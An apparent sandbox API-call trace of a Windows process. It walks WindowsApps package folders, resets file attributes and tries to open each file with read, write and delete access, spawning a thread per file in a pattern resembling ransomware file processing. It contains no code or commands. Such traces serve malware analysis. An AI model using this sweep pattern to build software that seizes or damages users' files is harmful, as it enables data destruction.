	[0090.194] wcscat (in: _Dest=0x2d7c6e8, _Source="InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png"
	[0090.194] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_altform-unplated_contrast-black.png")) returned 0x20
	[0090.194] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.195] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.195] GetLastError () returned 0x5
	[0090.195] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.195] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c6e8) returned 1
	[0090.195] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5024a003, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5024a003, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5024a003, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.195] wcscmp (_String1="InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png", _String2=".") returned 1
	[0090.195] wcscmp (_String1="InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png", _String2="..") returned 1
	[0090.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x2d7c6e8
	[0090.195] wcscpy (in: _Dest=0x2d7c6e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.195] wcscat (in: _Dest=0x2d7c6e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.195] wcscat (in: _Dest=0x2d7c6e8, _Source="InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png"
	[0090.195] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_altform-unplated_contrast-white.png")) returned 0x20
	[0090.195] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.195] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.195] GetLastError () returned 0x5
	[0090.195] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.195] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c6e8) returned 1
	[0090.195] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5027218f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5027218f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5027218f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-24_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.195] wcscmp (_String1="InsiderHubAppList.targetsize-24_contrast-black.png", _String2=".") returned 1
	[0090.196] wcscmp (_String1="InsiderHubAppList.targetsize-24_contrast-black.png", _String2="..") returned 1
	[0090.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc8c8
	[0090.196] wcscpy (in: _Dest=0x4ebc8c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.196] wcscat (in: _Dest=0x4ebc8c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.196] wcscat (in: _Dest=0x4ebc8c8, _Source="InsiderHubAppList.targetsize-24_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-black.png"
	[0090.196] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_contrast-black.png")) returned 0x20
	[0090.196] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.196] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.196] GetLastError () returned 0x5
	[0090.196] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc8c8) returned 1
	[0090.196] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5027218f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5027218f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5027218f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-24_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.196] wcscmp (_String1="InsiderHubAppList.targetsize-24_contrast-white.png", _String2=".") returned 1
	[0090.196] wcscmp (_String1="InsiderHubAppList.targetsize-24_contrast-white.png", _String2="..") returned 1
	[0090.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebcee0
	[0090.196] wcscpy (in: _Dest=0x4ebcee0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.196] wcscat (in: _Dest=0x4ebcee0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.196] wcscat (in: _Dest=0x4ebcee0, _Source="InsiderHubAppList.targetsize-24_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-white.png"
	[0090.196] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_contrast-white.png")) returned 0x20
	[0090.197] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.197] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.197] GetLastError () returned 0x5
	[0090.197] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.197] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcee0) returned 1
	[0090.197] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5027218f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5027218f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5027218f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-256.png", cAlternateFileName="")) returned 1
	[0090.197] wcscmp (_String1="InsiderHubAppList.targetsize-256.png", _String2=".") returned 1
	[0090.197] wcscmp (_String1="InsiderHubAppList.targetsize-256.png", _String2="..") returned 1
	[0090.197] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2d7c6e8
	[0090.197] wcscpy (in: _Dest=0x2d7c6e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.197] wcscat (in: _Dest=0x2d7c6e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.197] wcscat (in: _Dest=0x2d7c6e8, _Source="InsiderHubAppList.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-256.png"
	[0090.197] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-256.png")) 

Thread:
	id = 1039
	os_tid = 0x1cac

	[0082.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x47c86e0
	[0082.688] wcscpy (in: _Dest=0x47c86e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe"
	[0082.688] wcscat (in: _Dest=0x47c86e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.688] wcscat (in: _Dest=0x47c86e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502bfa8
	[0082.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aea982c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7898
	[0082.690] wcscmp (_String1=".", _String2=".") returned 0
	[0082.690] FindNextFileW (in: hFindFile=0x46a7898, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aea982c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.690] wcscmp (_String1="..", _String2=".") returned 1
	[0082.690] wcscmp (_String1="..", _String2="..") returned 0
	[0082.690] FindNextFileW (in: hFindFile=0x46a7898, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8afdab04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8afdab04, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8afdab04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.690] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.690] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4774510
	[0082.690] wcscpy (in: _Dest=0x4774510, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe"
	[0082.690] wcscat (in: _Dest=0x4774510, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.690] wcscat (in: _Dest=0x4774510, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4774510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1638
	[0090.098] FindNextFileW (in: hFindFile=0x46a7898, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aea982c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb253a43f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8aea982c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.098] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.098] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e11828
	[0090.098] wcscpy (in: _Dest=0x2e11828, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe"
	[0090.098] wcscat (in: _Dest=0x2e11828, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.098] wcscat (in: _Dest=0x2e11828, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e11828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2280
	[0090.099] FindNextFileW (in: hFindFile=0x46a7898, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b000d5e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8b04d215, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8b04d215, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.099] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.099] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eab0
	[0090.099] wcscpy (in: _Dest=0x477eab0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe"
	[0090.099] wcscat (in: _Dest=0x477eab0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.099] wcscat (in: _Dest=0x477eab0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477eab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2284
	[0090.104] FindNextFileW (in: hFindFile=0x46a7898, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfd4ea481, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.104] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.104] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778060
	[0090.104] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe"
	[0090.104] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.104] wcscat (in: _Dest=0x4778060, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50277c8
